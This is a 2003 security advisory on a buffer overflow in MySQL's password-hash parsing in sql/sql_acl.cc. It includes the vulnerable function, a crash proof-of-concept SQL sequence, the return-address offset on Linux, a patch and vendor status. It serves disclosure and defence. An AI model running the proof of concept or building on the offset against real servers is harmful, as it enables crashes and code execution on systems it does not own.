Buffer Overflow in MySQL

Product : MySQL
Date : 10/09/2003
Author : Frank Denis (j@xxxxxxxxxxxx)

------------[ Product description ]------------
From the web site :
MySQL is the world's most popular open source database, recognized for its speed and reliability.
Today MySQL is the most popular open source database server in the world with more than 4 million installations powering websites, datawarehouses, business applications, logging systems and more.
Home page : http://www.mysql.com/

------------[ Vulnerability ]------------
Passwords of MySQL users are stored in the "User" table, part of the "mysql" database, specifically in the "Password" field.
In MySQL 4.0.x and 3.23.x, these passwords are hashed and stored as a 16 characters long hexadecimal value, specifically in the "Password" field.
Unfortunately, a function involved in password checking misses correct bounds checking. By filling a "Password" field a value wider than 16 characters, a buffer overflow will occur.

------------[ Implications ]------------
Anyone with global administrative privileges on a MySQL server may execute arbitrary code even on a host he isn't supposed to have a shell on, with the privileges of the system account running the MySQL server.

------------[ Details ]------------
The get_salt_from_password() function defined in sql/password.c takes an arbitrary long hex password and returns an arbitrary long binary array with the previous decoded values :

void get_salt_from_password(ulong *res,const char *password)
{
res[0]=res[1]=0;
if (password)
{
while (*password)
{
ulong val=0;
uint i;
for (i=0 ; i < 8 ; i++)
val=(val << 4)+char_val(*password++);
*res++=val;
}
}
return;
}

This function is called sql/sql_acl.cc to check for access control.
It is passed the raw content of the Password field from the User table of the mysql database.
The process aborts if then length is not a multiple of 8 but this is the only check before get_salt_from_password() is actually called.
The overflow occurs on a local ACL_USER instance in acl_init() and successful exploitation of that bug is trivial on some platforms. On most Linux systems the return address needs about 444 bytes to get overwritten.

Harmless proof of concept :
> USE mysql;
> ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
> UPDATE User SET Password =
'1234567812345678123456781234567812345678
12345678123456781234567812345678

123456781234567812345678123456781234567812345678
123456781234567812345678

1234567812345678123456781234567
81234567812345678123456781234567812345678

12345678123456781234567812345678...' WHERE User = 'abcd';
> FLUSH PRIVILEGES;
[Connection lost]
mysqld_safe/safe_mysqld log :
030806 21:05:43 mysqld restarted
030806 21:05:43 mysqld restarted
030806 21:05:43 mysqld restarted
030806 21:05:43 mysqld restarted
MySQL log : tons of
mysqld got signal 11;
This could be because you hit a bug. It is also possible that this binary or one of the libraries it was linked against is corrupt, improperly built, or misconfigured. This error can also be caused by malfunctioning hardware. We will try our best to scrape up some info that will hopefully help diagnose the problem, but since we have already crashed, something is definitely wrong
Confirmed on OpenBSD 3.3-RELEASE, FreeBSD 4.8-STABLE and Gentoo Linux 1.4.

------------[ Affected versions ]------------
All versions of MySQL up to and including 4.0.14 are likely to be vulnerable.
All versions of MySQL up to and including 3.0.57 are also likely to be affected.

------------[ Workarounds ]------------
None.
But to mitigate the impact of this kind of vulnerability never let the server run with "root" privileges. Create a dedicated user and add the --user= command-line switch to start the daemon. Or edit your "my.cnf" file to achieve similar results. There is no loss of functionnality when the server runs without root privileges.

------------[ Fix ]------------
The following patch (applies fine to 4.0.14, should also work on earlier releases with minor fuzz) fixes the bug :
--- mysql-4.0.14-old/sql/sql_acl.cc 2003-07-18 16:57:25.000000000 +0200 +++ mysql-4.0.14/sql/sql_acl.cc 2003-09-10 23:21:13.559759576 +0200 @@ -233,7 +233,7 @@
"Found old style password for user '%s'. Ignoring user. (You may want to restart mysqld using --old-protocol)",
user.user ? user.user : ""); /* purecov: tested */
}
- else if (length % 8) // This holds true for passwords
+ else if (length % 8 || length > 16) // This holds true for passwords
{ sql_print_error(
"Found invalid password for user: '%s@%s'; Ignoring user",

------------[ Vendor status ]------------
MySQL AB has been informed of this vulnerability on Wed, 6 Aug 2003.
The issue was confirmed and fixed in the developpment tree the next day.
[side note: the MySQL developpment team is not only very reactive, the guys are also extremely nice]
MySQL 4.0.15, which includes a fix for this vulnerability and other unrelated bugs, is now available for download from the following location :
http://www.mysql.com/downloads/mysql-4.0.html

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